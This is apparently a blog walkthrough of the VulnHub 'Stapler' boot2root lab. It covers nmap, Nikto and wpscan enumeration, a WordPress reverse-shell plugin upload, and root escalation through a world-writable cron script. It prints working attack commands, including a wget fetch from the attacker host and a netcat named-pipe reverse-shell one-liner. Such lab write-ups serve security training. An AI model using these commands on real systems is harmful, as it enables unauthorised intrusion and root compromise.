Stapler Walkthrough
Introduction
Today we're doing a boot2root pentest walkthrough of the Stapler machine, created by g0tmi1k and hosted at https://www.vulnhub.com/entry/stapler-1,150/ .
For this pentest, I will be using two virtual machines. A Kali Linux machine as the attacking system, and the Stapler machine as the target system.
Locating The Target
Running nediscover from our attacking machine, we can locate where the target machine is on our network.
netdiscover -r 10.0.2.0/24
Our target system is at 10.0.2.26.
Scanning and Enumeration
We start our scans with nmap to determine which TCP ports are open on the target.
nmap -T4 -p- 10.0.2.26
A good number of open ports on this system. We'll use nmap once more to specifically target these ports and get more information.
nmap -T4 -A -p21,22,53,80,139,666,3306,12380 10.0.2.26
There's a lot of different services to enumerate here. Most notably, there seems to be a proxy http service running on port 12380. Let's continue our scans by running Nikto against the proxy webserver.
nikto -p 12380 -h 10.0.2.26
A lot of good leads here. We already have a few webpages to check out. Let's start by taking a look at what the target has on the default http port.
http://10.0.2.26
Not much here. Let's move on to the proxy page on port 12380.
http://10.0.2.26:12380
Not much to this webpage. However, the title of the webpage gives us a name we can add to our system users. We can create a file to keep track of the usernames we run across while enumerating the system. Next, we'll take a look at the admin112233 page.
echo “tim” > staplerusers.txt
https://10.0.2.26:12380/admin112233
Seems like we've walked into a trap. The page warns us that this page's contents could have included some malicious code. Nonetheless, we have to keep enumerating the webpages our scanners find. The next stop is the /blogblog/ page.
https://10.0.2.26:12380/blogblog/
This is a much better find for us, because on top of being able to enumerate the blog entries for information, the site also lets us know that Wordpress is being used as a CMS (Content Management System) on the webserver. Knowing this, we use wpscan to enumerate the Wordpress app.
wpscan --disable-tls-checks -e vt,vp,u --url https://10.0.2.26:12380/blogblog/
We got quite a few hits, but we didnt' run the whole scan, because we're pretty sure john is the admin user on the app. We navigate to the Wordpress login page and login as john.
https://10.0.2.26:12380/bloblog/wp-login.php
username john
password incorrect
log in
Finding a Way In
As we suspected, john is the admin user, so we should be able to get a remote shell on the target system by exploiting Wordpress' upload or plugin installation functions. We can create a custom plugin for Wordpress with a little help from this article.
https://www.sevenlayers.com/index.php/179-wordpress-plugin-reverse-shell
According to the article, there are two steps to preparing the plugin for upload. The first step is to create a php file with the plugin's script. I'll post the script from the article to give proper credit.
gedit revsh-plugin.php
Of course, we should replace the ip address and listening port in the script to match our own attacking system. The second step is to zip the file because Wordpress plugins must be uploaded as zip files. We'll also setup a netcat listener on our attacking system, so when we access the plugin from Wordpress a remote shell will open on our system.
zip revsh-plugin.zip ./revsh-plugin.php
nc -nlvp 4242
Now to go back to the Wordpress page where we're logged in as john. From there, we'll click Plugins from the left side menu, then the Add New button located next to the Plugins text, then the Upload Plugin button next to the Add Plugins text, then the Browse button, navigate to our plugin.zip file, then Open, then Install Now
It seems like we need to provide credentials for the server's FTP service in order to upload the file. We recall that our nmap scan that Anonymous login is enabled on the FTP service, meaning that we can input Anonymous as the username and Anonymous as the password. Once we've done so, we hit Proceed to continue...
But something goes wrong and our plugin is not installed. After a bit of thinking, we decide to look at Wordpress' uploads folder to see what's there.
https://10.0.2.26:12380/blogblog/wp-content/uploads/
So despite the system not confirming our plugin was installed, it was still uploaded to the server. Since the method we're using to gain the reverse shell on the target system simply requires us to access the php file after its been uploaded to the web server, we can upload the plugin's php file instead of the zip file.
We go back to the Wordpress dashboard page while logged in as john, and repeat the process for installing a new plugin, but instead of uploading the zip file, we upload the revsh-plugin.php file. After entering the FTP credentials and clicking Proceed, we go back to the Wordpress upload directory and access the php file we uploaded.
https://10.0.2.26:12380/blogblog/wp-admin/index.php
Plugins
Add New
Upload Plugin
Browse
revsh-plugin.php
Open
Install Now
hostname 10.0.2.26
FTP username Anonymous
FTP password Anonymous
Proceed
https://10.0.2.26:12380/blogblog/wp-content/uploads/
https://10.0.2.26:12380/blogblog/wp-content/uploads/revsh-plugin.php
Privilege Escalation
And our reverse shell opens on our attacking machine. We want to enumerate this machine with a bash script file, so we navigate to a directory where we're most likely to have write privileges, then we attempt to download the file from our attacking machine. Before downloading, however, we need to host the file on our attacking machine by using Python's SimpleHTTPServer module.
python -m SimpleHTTPServer 80
Then we navigate to the /tmp/ directory to perform our download with wget.
cd /tmp/
wget 10.0.2.4/LinEnum.sh
But before we can run our script, we need to change the script's file permissions with chmod. Then we can run our script and look for a way to get root.
chmod +x LinEnum.sh
./LinEnum.sh -t
From these two findings, we can see there's a file called logrotate that runs frequently, maybe once every 5 minutes, and there's a script file called cron-logrotate.sh, which is writable by any user. Our theory is that when logrotate runs, it runs the cron-logrotate.sh script as well, which means we can edit the cron-logrotate.sh file to open a new remote shell for us when logrotate runs, and since logrotate is run with root privileges, the shell that is created will also have root privileges.
The first step to create a new netcat listener on our attacking machine.
nc -nlvp 4343
Then replace the contents of cron-logrotate.sh with a command that will spawn a new reverse shell on our attacking machine, then we wait for logrotate to run.
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.2.4 4343 >/tmp/f" > /usr/local/sbin/cron-logrotate.sh
The last thing we have to do to finish this pentest is to access the flag file, usually located in the /root/ directory.
cd ~
ls
cat flag.txt
Summary
After our initial scans, we found that the target system was running a proxy web server which contained a Wordpress blog. Enumeration of the Wordpress app gave us a list of users, and a bruteforce password attack gave us the credentials to the admin user of the Wordpress app, which allowed us to upload an exploit file onto the webserver, which was used to give us a remote shell into the system. Once in, we found that a world-writable script file was present on system which was also being run at intervals with root privileges. Modifying that script file, we were able to gain a root shell on our system which we used to access the system's flag file.
Finish
Comments
Post a Comment